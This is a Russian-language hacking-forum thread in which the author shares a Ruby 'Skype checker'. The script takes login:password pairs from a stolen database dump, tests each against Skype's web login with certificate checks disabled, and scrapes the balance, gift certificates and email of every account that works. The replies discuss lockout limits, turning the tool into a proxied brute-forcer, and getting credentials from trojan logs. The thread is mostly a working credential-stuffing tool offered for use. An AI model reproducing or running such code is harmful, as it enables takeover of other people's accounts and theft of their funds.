rSkypeChecker by geezer.code

Discussion in 'PHP' started by geezer.code, 21 May 2008.

  1. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    Привет всем!
    Нет на нашем форуме раздела про Руби поэтому пишу в раздел где есть скриптовые языки.

    intro

    Как-то раз обломился мне очень большой дамп базы, где пользователи оставляли свой skype-name. После экстрагирования логинов и пассов набрался список ~ 1500 записей. Нужно было узнать, подходит ли пароль, и если да, то есть ли деньги на балансе. Чекать их вручную - труд долгий и нудный.
    Я порылся в инете и ничего похожего для этой задачи не нашел, только на forum.zloy.org было упоминание о начатой разработке, но результатов не было.
    Собственно именно поэтому за час, на коленке был сооружен этот скрипт.

    Описание

    Скрипт подключается к вэб-интерфесу скайпа, и собирает данные об аккаунте.

    Для запуска скрипта требуется установленный интерпретатор Ruby 1.8.* и прямые руки.

    Сохраняем скрипт в файл rSkype.rb, в ту же папку складываем source.txt(файл где сложены аккаунты которые надо проверить в формате login:password, каждый с новой строки).
    Запускаем его, например так:
    #ruby rSkype.rb

    на выходе получаем 3 файла:
    valid_gift.txt - с гифт сертификатами
    valid_balance.txt - есть деньги на балансе
    valid - просто подходит пасс.

    в коде много каментов)), если захотите на любой другой яп портировать.
    PHP:
    #! /usr/bin/ruby
    #==================================================
    #
    #    rSkypeChecker by geezer.code
    #    
    #    Author:        geezer.code    
    #    Version:        0.0.1
    #    Date:        2008/05/21
    #
    #==================================================

    require 'net/http'
    require 'net/https'

    #распечатка резалтов
    def print_result(targetsource)
      
    fresult File.new(target"w"
      default = 
    $stdout
      $stdout 
    fresult          
      source
    .each {|r
        
    puts r
      
    }
      
    $stdout = default                     
      
    fresult.close
    end

    #настраиваем соединение и включаем SSL
    http Net::HTTP.new('secure.skype.com'443)
    http.use_ssl true
    http
    .verify_mode OpenSSL::SSL::VERIFY_NONE
    path 
    '/store/member/login.html'

    valid=Array.new
    valid_balance=Array.new
    valid_gift=Array.new
    fsource File.open("source.txt")
    begin
      
    while (value fsource.readline)
        if 
    value.any?
          
    #value - это данные аккаунта
          
    valuevalue.chomp
          
    # тут получаем первоначальную куку
          
    respdata http.get(pathnil)

          
    # устанавливаем куку
          
    cookie resp.response['set-cookie']

          
    # Данные для post-запроса
          
    loginpassword=value.split(":")
          
    data "username=#{login}&password=#{password}"
          
    headers = {
            
    'Cookie' => cookie,
            
    'Referer' => "https://secure.skype.com/store/myaccount",
            
    'Content-Type' => 'application/x-www-form-urlencoded'
          
    }

          
    #сам post-запрос
          
    respdata http.post(pathdataheaders)

          
    # 302 - редирект на страницу аккаунта
          # может быть ищо 200 - не залогинило.
          
    if resp.code == '302'
            
    #заходим на страницу аккаунта
            
    resp=http.get(resp['location'],headers)
            
    #ищем строку про гифт-серты
            
    gift_cert resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)
            
    #ищем строку с балансом
            
    balance resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)
            
    #e-mail может когда-нить пригодится
            
    email resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)
      
            
            
    #сортируем гифт отдельно, пустые отдельно, балансы отдельно        
            
    if gift_cert.any?        
              
    valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
     #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift" 
            
    else
              if 
    balance.any?
                
    valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
     #{balance.to_s.gsub(/<[^>]*>/,"")}" 
              
    else
                
    valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}" 
              
    end
            end
          end
        end
      end
    rescue EOFError
      fsource
    .close
    end

    #выводим то што начекали в файл
    print_result("valid.txt",valid)
    print_result("valid_balance.txt",valid_balance)
    print_result("valid_gift.txt",valid_gift)
    метки: Чекер Скайп аккаунтов, Skype Checker, ruby, руби.


    Ссылки по теме:

    http://www.ruby-lang.org/en/ -тут можно скачать интерпретатор Руби

    http://skype.com - если кто не слышал про скайп )).

    P.S. в принимаются замечания и пожелания.
    идею можно развить, и модифицировать его под брутер(потоки,прокси итд).
    Если это актуально, начну работать над брутером.

    P.P.S скрипт цже можно использовать как брутер - достаточно нагенерить список логин - пароль, но всьо же он не оптимизирован.если на пытаться брутить 1 логин - бан. (как и сказал VP$)
     
    #1 geezer.code, 21 May 2008
    Last edited: 2 Jun 2008
    4 people like this.
  2. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    а как на счет бана, после 5 неудачных попыток?
     
  3. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    бан при попытках на один и тот же логин ?
    не мой случай. ситуация другая... логины-то -- уникальные.

    опять-таки этот скрипт писался не как брутер, а как чекер ))
     
    #3 geezer.code, 21 May 2008
    Last edited: 21 May 2008
  4. mixdw

    mixdw Banned

    Joined:
    27 Mar 2008
    Messages:
    81
    Likes Received:
    30
    Reputations:
    0
    а де взять логин:пасс ? :\
     
  5. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    в моем случае это был дамп бд, но вполне возможно с отчетов троев.